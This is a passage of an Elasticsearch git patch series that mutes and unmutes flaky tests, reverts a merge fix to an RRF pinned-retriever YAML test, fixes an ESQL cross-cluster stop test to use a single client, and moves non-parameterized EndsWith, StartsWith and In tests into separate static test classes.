-  method: test {yaml=rrf/950_pinned_interaction/rrf with pinned retriever as a sub-retriever}
-  issue: https://github.com/elastic/elasticsearch/issues/129845
+- class: org.elasticsearch.index.store.FsDirectoryFactoryTests
+  method: testPreload
+  issue: https://github.com/elastic/elasticsearch/issues/129852
+- class: org.elasticsearch.xpack.test.rest.XPackRestIT
+  method: test {p0=esql/60_usage/Basic ESQL usage output (telemetry) non-snapshot version}
+  issue: https://github.com/elastic/elasticsearch/issues/129888
 - class: org.elasticsearch.gradle.internal.InternalDistributionBwcSetupPluginFuncTest
   method: "builds distribution from branches via archives extractedAssemble [bwcDistVersion: 8.2.1, bwcProject: bugfix, expectedAssembleTaskName:
     extractedAssemble, #2]"
diff --git a/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml b/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
index e5629b7715994..bbdc7aff43b69 100644
--- a/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
+++ b/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
@@ -80,7 +80,7 @@ setup:
                 -
                   standard:
                     query:
-                      match: { text: "document" }
+                      match_none: {}
                 -
                   pinned:
                     ids: ["doc4", "doc5"]
@@ -90,9 +90,6 @@ setup:
                           match: { text: "document" }
 
   - match: { hits.total.value: 5 }
-  - match: { hits.hits.0._id: doc1 }
-  - lt: { hits.hits.0._score: 100.0 }
-  - match: { hits.hits.1._id: doc4 }
-  - match: { hits.hits.2._id: doc5 }
-
+  - match: { hits.hits.0._id: doc4 }
+  - match: { hits.hits.1._id: doc5 }
 

From 0394054c49d125bedd7d866d04e1bb12b1740ba4 Mon Sep 17 00:00:00 2001
From: Mridula <mridula.s@elastic.co>
Date: Tue, 15 Jul 2025 19:53:17 +0100
Subject: [PATCH 155/299] Revert "Merged conflict resolved"

This reverts commit 9ef53f842b422c18d967b133e84b72ef3268320d.
---
 muted-tests.yml                                          | 9 +++------
 .../rest-api-spec/test/rrf/950_pinned_interaction.yml    | 9 ++++++---
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index aed9cb0d254a8..ac685fd1548a9 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -486,12 +486,9 @@ tests:
 - class: org.elasticsearch.qa.verify_version_constants.VerifyVersionConstantsIT
   method: testLuceneVersionConstant
   issue: https://github.com/elastic/elasticsearch/issues/125638
-- class: org.elasticsearch.index.store.FsDirectoryFactoryTests
-  method: testPreload
-  issue: https://github.com/elastic/elasticsearch/issues/129852
-- class: org.elasticsearch.xpack.test.rest.XPackRestIT
-  method: test {p0=esql/60_usage/Basic ESQL usage output (telemetry) non-snapshot version}
-  issue: https://github.com/elastic/elasticsearch/issues/129888
+- class: org.elasticsearch.xpack.rank.rrf.RRFRankClientYamlTestSuiteIT
+  method: test {yaml=rrf/950_pinned_interaction/rrf with pinned retriever as a sub-retriever}
+  issue: https://github.com/elastic/elasticsearch/issues/129845
 - class: org.elasticsearch.gradle.internal.InternalDistributionBwcSetupPluginFuncTest
   method: "builds distribution from branches via archives extractedAssemble [bwcDistVersion: 8.2.1, bwcProject: bugfix, expectedAssembleTaskName:
     extractedAssemble, #2]"
diff --git a/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml b/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
index bbdc7aff43b69..e5629b7715994 100644
--- a/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
+++ b/x-pack/plugin/rank-rrf/src/yamlRestTest/resources/rest-api-spec/test/rrf/950_pinned_interaction.yml
@@ -80,7 +80,7 @@ setup:
                 -
                   standard:
                     query:
-                      match_none: {}
+                      match: { text: "document" }
                 -
                   pinned:
                     ids: ["doc4", "doc5"]
@@ -90,6 +90,9 @@ setup:
                           match: { text: "document" }
 
   - match: { hits.total.value: 5 }
-  - match: { hits.hits.0._id: doc4 }
-  - match: { hits.hits.1._id: doc5 }
+  - match: { hits.hits.0._id: doc1 }
+  - lt: { hits.hits.0._score: 100.0 }
+  - match: { hits.hits.1._id: doc4 }
+  - match: { hits.hits.2._id: doc5 }
+
 

From 3f1af897f59f6085c140a98e0175df969a94999b Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Tue, 15 Jul 2025 13:01:34 -0600
Subject: [PATCH 156/299] [9.1] Fix testStopQueryLocal - always use the same
 client (same node) (#131253) (#131311)

* Fix testStopQueryLocal - always use the same client (same node) (#131253)

(cherry picked from commit bfab88c430a727de63188687a2c4655276a10212)

# Conflicts:
#	muted-tests.yml
#	x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java

* Fix merge
---
 .../action/CrossClusterAsyncQueryStopIT.java     | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
index 9667b559ea6b0..b49f45273f337 100644
--- a/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
+++ b/x-pack/plugin/esql/src/internalClusterTest/java/org/elasticsearch/xpack/esql/action/CrossClusterAsyncQueryStopIT.java
@@ -9,6 +9,7 @@
 
 import org.elasticsearch.Build;
 import org.elasticsearch.action.ActionFuture;
+import org.elasticsearch.client.internal.Client;
 import org.elasticsearch.core.Tuple;
 import org.elasticsearch.logging.LogManager;
 import org.elasticsearch.logging.Logger;
@@ -133,6 +134,9 @@ public void testStopQueryLocal() throws Exception {
         int remote2NumShards = (Integer) testClusterInfo.get("remote2.num_shards");
         populateRuntimeIndex(LOCAL_CLUSTER, "pause", INDEX_WITH_BLOCKING_MAPPING);
 
+        // Gets random node client but ensure it's the same node for all operations
+        Client client = cluster(LOCAL_CLUSTER).client();
+
         Tuple<Boolean, Boolean> includeCCSMetadata = randomIncludeCCSMetadata();
         boolean responseExpectMeta = includeCCSMetadata.v2();
         // By default, ES|QL uses all workers in the esql_worker threadpool to execute drivers on data nodes.
@@ -145,7 +149,7 @@ public void testStopQueryLocal() throws Exception {
         int maxEsqlWorkers = threadpool.info(EsqlPlugin.ESQL_WORKER_THREAD_POOL_NAME).getMax();
         LOGGER.info("--> Launching async query");
         final String asyncExecutionId = startAsyncQueryWithPragmas(
-            client(),
+            client,
             "FROM blocking,*:logs-* | STATS total=sum(coalesce(const,v)) | LIMIT 1",
             includeCCSMetadata.v1(),
             Map.of(QueryPragmas.TASK_CONCURRENCY.getKey(), between(1, maxEsqlWorkers - 1))
@@ -155,8 +159,8 @@ public void testStopQueryLocal() throws Exception {
             assertTrue(SimplePauseFieldPlugin.startEmitting.await(30, TimeUnit.SECONDS));
 
             // wait until the remotes are done
-            waitForCluster(client(), REMOTE_CLUSTER_1, asyncExecutionId);
-            waitForCluster(client(), REMOTE_CLUSTER_2, asyncExecutionId);
+            waitForCluster(client, REMOTE_CLUSTER_1, asyncExecutionId);
+            waitForCluster(client, REMOTE_CLUSTER_2, asyncExecutionId);
 
             /* at this point:
              *  the query against remotes should be finished
@@ -165,10 +169,10 @@ public void testStopQueryLocal() throws Exception {
             // run the stop query
             AsyncStopRequest stopRequest = new AsyncStopRequest(asyncExecutionId);
             LOGGER.info("Launching stop for {}", asyncExecutionId);
-            ActionFuture<EsqlQueryResponse> stopAction = client().execute(EsqlAsyncStopAction.INSTANCE, stopRequest);
+            ActionFuture<EsqlQueryResponse> stopAction = client.execute(EsqlAsyncStopAction.INSTANCE, stopRequest);
             // ensure stop operation is running
             assertBusy(() -> {
-                try (EsqlQueryResponse asyncResponse = getAsyncResponse(client(), asyncExecutionId)) {
+                try (EsqlQueryResponse asyncResponse = getAsyncResponse(client, asyncExecutionId)) {
                     EsqlExecutionInfo executionInfo = asyncResponse.getExecutionInfo();
                     LOGGER.info("Waiting for stop operation to start, current status: {}", executionInfo);
                     assertNotNull(executionInfo);
@@ -212,7 +216,7 @@ public void testStopQueryLocal() throws Exception {
             }
         } finally {
             SimplePauseFieldPlugin.allowEmitting.countDown();
-            assertAcked(deleteAsyncId(client(), asyncExecutionId));
+            assertAcked(deleteAsyncId(client, asyncExecutionId));
         }
     }
 

From 833bcaa470ae7700f183df8c9e380ba8f0421e73 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Tue, 15 Jul 2025 21:38:55 +0200
Subject: [PATCH 157/299] Mute
 org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
 testStopQueryLocal #121672

---
 muted-tests.yml | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index ac685fd1548a9..232f3a94ce3a3 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -522,6 +522,9 @@ tests:
 - class: org.elasticsearch.index.IndexingPressureIT
   method: testWriteCanBeRejectedAtPrimaryLevel
   issue: https://github.com/elastic/elasticsearch/issues/131151
+- class: org.elasticsearch.xpack.esql.action.CrossClusterAsyncQueryStopIT
+  method: testStopQueryLocal
+  issue: https://github.com/elastic/elasticsearch/issues/121672
 
 # Examples:
 #
@@ -560,4 +563,4 @@ tests:
 #    issue: "https://github.com/elastic/elasticsearch/..."
 #  - class: "org.elasticsearch.xpack.esql.**"
 #    method: "test {union_types.MultiIndexIpStringStatsInline *}"
-#    issue: "https://github.com/elastic/elasticsearch/..."
\ No newline at end of file
+#    issue: "https://github.com/elastic/elasticsearch/..."

From 5f1b2562631755ffdd6594e2c77c2127c527cebe Mon Sep 17 00:00:00 2001
From: Mark Tozzi <mark.tozzi@gmail.com>
Date: Tue, 15 Jul 2025 16:18:13 -0400
Subject: [PATCH 158/299] Clean up non-parameterized tests in the wrong place
 (#131049) (#131319)

In the course of other work I found a few places where we were creating non-parameterized tests from within the parameterized test drivers for a few ESQL functions. This causes those tests to be run for every parameter combination, even though the tests themselves do not change anything, resulting in a lot of extra test overhead for no additional coverage.

I cleaned up three classes:

    EndsWithTests ran 832 tests before this, and now runs 640 tests
    StartsWithTests ran 208 before this, and now runs 160
    InTests ran 168 before this, and now runs 28

So overall, that's 369 redundant test runs removed (including the fact that the 11 tests I moved still run once in their new classes), and further savings if we later expand those parameterized tests.
---
 .../scalar/string/EndsWithStaticTests.java    | 56 +++++++++++++++
 .../function/scalar/string/EndsWithTests.java | 38 ----------
 .../scalar/string/StartsWithStaticTests.java  | 56 +++++++++++++++
 .../scalar/string/StartsWithTests.java        | 37 ----------
 .../operator/comparison/InStaticTests.java    | 69 +++++++++++++++++++
 .../operator/comparison/InTests.java          | 56 ---------------
 6 files changed, 181 insertions(+), 131 deletions(-)
 create mode 100644 x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithStaticTests.java
 create mode 100644 x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithStaticTests.java
 create mode 100644 x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/comparison/InStaticTests.java

diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithStaticTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithStaticTests.java
new file mode 100644
index 0000000000000..ddde306deed7a
--- /dev/null
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithStaticTests.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.expression.function.scalar.string;
+
+import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xpack.esql.capabilities.TranslationAware;
+import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
+import org.elasticsearch.xpack.esql.core.expression.Literal;
+import org.elasticsearch.xpack.esql.core.querydsl.query.Query;
+import org.elasticsearch.xpack.esql.core.querydsl.query.WildcardQuery;
+import org.elasticsearch.xpack.esql.core.tree.Source;
+import org.elasticsearch.xpack.esql.core.type.DataType;
+import org.elasticsearch.xpack.esql.core.type.EsField;
+import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
+import org.elasticsearch.xpack.esql.planner.TranslatorHandler;
+
+import java.util.Map;
+
+import static org.hamcrest.Matchers.equalTo;
+
+public class EndsWithStaticTests extends ESTestCase {
+    public void testLuceneQuery_AllLiterals_NonTranslatable() {
+        EndsWith function = new EndsWith(Source.EMPTY, Literal.keyword(Source.EMPTY, "test"), Literal.keyword(Source.EMPTY, "test"));
+
+        ESTestCase.assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.NO));
+    }
+
+    public void testLuceneQuery_NonFoldableSuffix_NonTranslatable() {
+        EndsWith function = new EndsWith(
+            Source.EMPTY,
+            new FieldAttribute(Source.EMPTY, "field", new EsField("field", DataType.KEYWORD, Map.of(), true)),
+            new FieldAttribute(Source.EMPTY, "field", new EsField("suffix", DataType.KEYWORD, Map.of(), true))
+        );
+
+        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.NO));
+    }
+
+    public void testLuceneQuery_NonFoldableSuffix_Translatable() {
+        EndsWith function = new EndsWith(
+            Source.EMPTY,
+            new FieldAttribute(Source.EMPTY, "field", new EsField("suffix", DataType.KEYWORD, Map.of(), true)),
+            Literal.keyword(Source.EMPTY, "a*b?c\\")
+        );
+
+        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.YES));
+
+        Query query = function.asQuery(LucenePushdownPredicates.DEFAULT, TranslatorHandler.TRANSLATOR_HANDLER);
+
+        assertThat(query, equalTo(new WildcardQuery(Source.EMPTY, "field", "*a\\*b\\?c\\\\", false, false)));
+    }
+}
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithTests.java
index 0efd8daaacaa0..c41b1e14257ee 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/EndsWithTests.java
@@ -11,23 +11,15 @@
 import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
 
 import org.apache.lucene.util.BytesRef;
-import org.elasticsearch.xpack.esql.capabilities.TranslationAware;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
-import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
-import org.elasticsearch.xpack.esql.core.expression.Literal;
-import org.elasticsearch.xpack.esql.core.querydsl.query.WildcardQuery;
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
-import org.elasticsearch.xpack.esql.core.type.EsField;
 import org.elasticsearch.xpack.esql.expression.function.AbstractScalarFunctionTestCase;
 import org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier;
-import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
-import org.elasticsearch.xpack.esql.planner.TranslatorHandler;
 import org.hamcrest.Matcher;
 
 import java.util.LinkedList;
 import java.util.List;
-import java.util.Map;
 import java.util.function.Supplier;
 
 import static org.hamcrest.Matchers.equalTo;
@@ -106,34 +98,4 @@ private static TestCaseSupplier.TestCase testCase(
     protected Expression build(Source source, List<Expression> args) {
         return new EndsWith(source, args.get(0), args.get(1));
     }
-
-    public void testLuceneQuery_AllLiterals_NonTranslatable() {
-        var function = new EndsWith(Source.EMPTY, Literal.keyword(Source.EMPTY, "test"), Literal.keyword(Source.EMPTY, "test"));
-
-        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.NO));
-    }
-
-    public void testLuceneQuery_NonFoldableSuffix_NonTranslatable() {
-        var function = new EndsWith(
-            Source.EMPTY,
-            new FieldAttribute(Source.EMPTY, "field", new EsField("field", DataType.KEYWORD, Map.of(), true)),
-            new FieldAttribute(Source.EMPTY, "field", new EsField("suffix", DataType.KEYWORD, Map.of(), true))
-        );
-
-        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.NO));
-    }
-
-    public void testLuceneQuery_NonFoldableSuffix_Translatable() {
-        var function = new EndsWith(
-            Source.EMPTY,
-            new FieldAttribute(Source.EMPTY, "field", new EsField("suffix", DataType.KEYWORD, Map.of(), true)),
-            Literal.keyword(Source.EMPTY, "a*b?c\\")
-        );
-
-        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.YES));
-
-        var query = function.asQuery(LucenePushdownPredicates.DEFAULT, TranslatorHandler.TRANSLATOR_HANDLER);
-
-        assertThat(query, equalTo(new WildcardQuery(Source.EMPTY, "field", "*a\\*b\\?c\\\\", false, false)));
-    }
 }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithStaticTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithStaticTests.java
new file mode 100644
index 0000000000000..105ce6a9e4142
--- /dev/null
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithStaticTests.java
@@ -0,0 +1,56 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.expression.function.scalar.string;
+
+import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xpack.esql.capabilities.TranslationAware;
+import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
+import org.elasticsearch.xpack.esql.core.expression.Literal;
+import org.elasticsearch.xpack.esql.core.querydsl.query.WildcardQuery;
+import org.elasticsearch.xpack.esql.core.tree.Source;
+import org.elasticsearch.xpack.esql.core.type.DataType;
+import org.elasticsearch.xpack.esql.core.type.EsField;
+import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
+import org.elasticsearch.xpack.esql.planner.TranslatorHandler;
+
+import java.util.Map;
+
+import static org.hamcrest.Matchers.equalTo;
+
+public class StartsWithStaticTests extends ESTestCase {
+
+    public void testLuceneQuery_AllLiterals_NonTranslatable() {
+        var function = new StartsWith(Source.EMPTY, Literal.keyword(Source.EMPTY, "test"), Literal.keyword(Source.EMPTY, "test"));
+
+        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.NO));
+    }
+
+    public void testLuceneQuery_NonFoldablePrefix_NonTranslatable() {
+        var function = new StartsWith(
+            Source.EMPTY,
+            new FieldAttribute(Source.EMPTY, "field", new EsField("field", DataType.KEYWORD, Map.of(), true)),
+            new FieldAttribute(Source.EMPTY, "field", new EsField("prefix", DataType.KEYWORD, Map.of(), true))
+        );
+
+        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.NO));
+    }
+
+    public void testLuceneQuery_NonFoldablePrefix_Translatable() {
+        var function = new StartsWith(
+            Source.EMPTY,
+            new FieldAttribute(Source.EMPTY, "field", new EsField("prefix", DataType.KEYWORD, Map.of(), true)),
+            Literal.keyword(Source.EMPTY, "a*b?c\\")
+        );
+
+        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.YES));
+
+        var query = function.asQuery(LucenePushdownPredicates.DEFAULT, TranslatorHandler.TRANSLATOR_HANDLER);
+
+        assertThat(query, equalTo(new WildcardQuery(Source.EMPTY, "field", "a\\*b\\?c\\\\*", false, false)));
+    }
+}
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithTests.java
index 67fb9f0c41f26..e1d02472fca43 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/function/scalar/string/StartsWithTests.java
@@ -11,22 +11,14 @@
 import com.carrotsearch.randomizedtesting.annotations.ParametersFactory;
 
 import org.apache.lucene.util.BytesRef;
-import org.elasticsearch.xpack.esql.capabilities.TranslationAware;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
-import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
-import org.elasticsearch.xpack.esql.core.expression.Literal;
-import org.elasticsearch.xpack.esql.core.querydsl.query.WildcardQuery;
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
-import org.elasticsearch.xpack.esql.core.type.EsField;
 import org.elasticsearch.xpack.esql.expression.function.AbstractScalarFunctionTestCase;
 import org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier;
-import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
-import org.elasticsearch.xpack.esql.planner.TranslatorHandler;
 
 import java.util.ArrayList;
 import java.util.List;
-import java.util.Map;
 import java.util.function.Supplier;
 
 import static org.hamcrest.Matchers.equalTo;
@@ -67,33 +59,4 @@ protected Expression build(Source source, List<Expression> args) {
         return new StartsWith(source, args.get(0), args.get(1));
     }
 
-    public void testLuceneQuery_AllLiterals_NonTranslatable() {
-        var function = new StartsWith(Source.EMPTY, Literal.keyword(Source.EMPTY, "test"), Literal.keyword(Source.EMPTY, "test"));
-
-        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.NO));
-    }
-
-    public void testLuceneQuery_NonFoldablePrefix_NonTranslatable() {
-        var function = new StartsWith(
-            Source.EMPTY,
-            new FieldAttribute(Source.EMPTY, "field", new EsField("field", DataType.KEYWORD, Map.of(), true)),
-            new FieldAttribute(Source.EMPTY, "field", new EsField("prefix", DataType.KEYWORD, Map.of(), true))
-        );
-
-        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.NO));
-    }
-
-    public void testLuceneQuery_NonFoldablePrefix_Translatable() {
-        var function = new StartsWith(
-            Source.EMPTY,
-            new FieldAttribute(Source.EMPTY, "field", new EsField("prefix", DataType.KEYWORD, Map.of(), true)),
-            Literal.keyword(Source.EMPTY, "a*b?c\\")
-        );
-
-        assertThat(function.translatable(LucenePushdownPredicates.DEFAULT), equalTo(TranslationAware.Translatable.YES));
-
-        var query = function.asQuery(LucenePushdownPredicates.DEFAULT, TranslatorHandler.TRANSLATOR_HANDLER);
-
-        assertThat(query, equalTo(new WildcardQuery(Source.EMPTY, "field", "a\\*b\\?c\\\\*", false, false)));
-    }
 }
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/comparison/InStaticTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/comparison/InStaticTests.java
new file mode 100644
index 0000000000000..b2fa9f4221769
--- /dev/null
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/comparison/InStaticTests.java
@@ -0,0 +1,69 @@
+/*
+ * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+ * or more contributor license agreements. Licensed under the Elastic License
+ * 2.0; you may not use this file except in compliance with the Elastic License
+ * 2.0.
+ */
+
+package org.elasticsearch.xpack.esql.expression.predicate.operator.comparison;
+
+import org.elasticsearch.test.ESTestCase;
+import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
+import org.elasticsearch.xpack.esql.core.expression.FoldContext;
+import org.elasticsearch.xpack.esql.core.expression.Literal;
+import org.elasticsearch.xpack.esql.core.querydsl.query.TermsQuery;
+import org.elasticsearch.xpack.esql.core.tree.Source;
+import org.elasticsearch.xpack.esql.core.type.DataType;
+import org.elasticsearch.xpack.esql.core.type.EsField;
+import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
+import org.elasticsearch.xpack.esql.planner.TranslatorHandler;
+
+import java.util.Arrays;
+import java.util.Map;
+import java.util.Set;
+
+import static org.elasticsearch.xpack.esql.EsqlTestUtils.L;
+import static org.elasticsearch.xpack.esql.core.expression.Literal.NULL;
+import static org.elasticsearch.xpack.esql.core.tree.Source.EMPTY;
+
+public class InStaticTests extends ESTestCase {
+    private static final Literal ONE = L(1);
+    private static final Literal TWO = L(2);
+    private static final Literal THREE = L(3);
+
+    public void testInWithContainedValue() {
+        In in = new In(EMPTY, TWO, Arrays.asList(ONE, TWO, THREE));
+        assertTrue((Boolean) in.fold(FoldContext.small()));
+    }
+
+    public void testInWithNotContainedValue() {
+        In in = new In(EMPTY, THREE, Arrays.asList(ONE, TWO));
+        assertFalse((Boolean) in.fold(FoldContext.small()));
+    }
+
+    public void testHandleNullOnLeftValue() {
+        In in = new In(EMPTY, NULL, Arrays.asList(ONE, TWO, THREE));
+        assertNull(in.fold(FoldContext.small()));
+        in = new In(EMPTY, NULL, Arrays.asList(ONE, NULL, THREE));
+        assertNull(in.fold(FoldContext.small()));
+
+    }
+
+    public void testHandleNullsOnRightValue() {
+        In in = new In(EMPTY, THREE, Arrays.asList(ONE, NULL, THREE));
+        assertTrue((Boolean) in.fold(FoldContext.small()));
+        in = new In(EMPTY, ONE, Arrays.asList(TWO, NULL, THREE));
+        assertNull(in.fold(FoldContext.small()));
+    }
+
+    public void testConvertedNull() {
+        In in = new In(
+            EMPTY,
+            new FieldAttribute(Source.EMPTY, "field", new EsField("suffix", DataType.KEYWORD, Map.of(), true)),
+            Arrays.asList(ONE, new Literal(Source.EMPTY, null, randomFrom(DataType.types())), THREE)
+        );
+        var query = in.asQuery(LucenePushdownPredicates.DEFAULT, TranslatorHandler.TRANSLATOR_HANDLER);
+        assertEquals(new TermsQuery(EMPTY, "field", Set.of(1, 3)), query);
+    }
+
+}
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/comparison/InTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/comparison/InTests.java
index 449389accc37b..f56dcb220b6ca 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/comparison/InTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/expression/predicate/operator/comparison/InTests.java
@@ -13,32 +13,19 @@
 import org.elasticsearch.geo.GeometryTestUtils;
 import org.elasticsearch.geo.ShapeTestUtils;
 import org.elasticsearch.xpack.esql.core.expression.Expression;
-import org.elasticsearch.xpack.esql.core.expression.FieldAttribute;
-import org.elasticsearch.xpack.esql.core.expression.FoldContext;
-import org.elasticsearch.xpack.esql.core.expression.Literal;
-import org.elasticsearch.xpack.esql.core.querydsl.query.TermsQuery;
 import org.elasticsearch.xpack.esql.core.tree.Source;
 import org.elasticsearch.xpack.esql.core.type.DataType;
-import org.elasticsearch.xpack.esql.core.type.EsField;
 import org.elasticsearch.xpack.esql.expression.function.AbstractFunctionTestCase;
 import org.elasticsearch.xpack.esql.expression.function.TestCaseSupplier;
-import org.elasticsearch.xpack.esql.optimizer.rules.physical.local.LucenePushdownPredicates;
-import org.elasticsearch.xpack.esql.planner.TranslatorHandler;
 import org.junit.AfterClass;
 
 import java.util.ArrayList;
-import java.util.Arrays;
 import java.util.List;
 import java.util.Locale;
-import java.util.Map;
-import java.util.Set;
 import java.util.function.Supplier;
 import java.util.stream.IntStream;
 
-import static org.elasticsearch.xpack.esql.EsqlTestUtils.of;
 import static org.elasticsearch.xpack.esql.EsqlTestUtils.randomLiteral;
-import static org.elasticsearch.xpack.esql.core.expression.Literal.NULL;
-import static org.elasticsearch.xpack.esql.core.tree.Source.EMPTY;
 import static org.elasticsearch.xpack.esql.core.type.DataType.CARTESIAN_POINT;
 import static org.elasticsearch.xpack.esql.core.type.DataType.CARTESIAN_SHAPE;
 import static org.elasticsearch.xpack.esql.core.type.DataType.GEO_POINT;
@@ -54,49 +41,6 @@ public InTests(@Name("TestCase") Supplier<TestCaseSupplier.TestCase> testCaseSup
         this.testCase = testCaseSupplier.get();
     }
 
-    private static final Literal ONE = L(1);
-    private static final Literal TWO = L(2);
-    private static final Literal THREE = L(3);
-
-    public void testInWithContainedValue() {
-        In in = new In(EMPTY, TWO, Arrays.asList(ONE, TWO, THREE));
-        assertTrue((Boolean) in.fold(FoldContext.small()));
-    }
-
-    public void testInWithNotContainedValue() {
-        In in = new In(EMPTY, THREE, Arrays.asList(ONE, TWO));
-        assertFalse((Boolean) in.fold(FoldContext.small()));
-    }
-
-    public void testHandleNullOnLeftValue() {
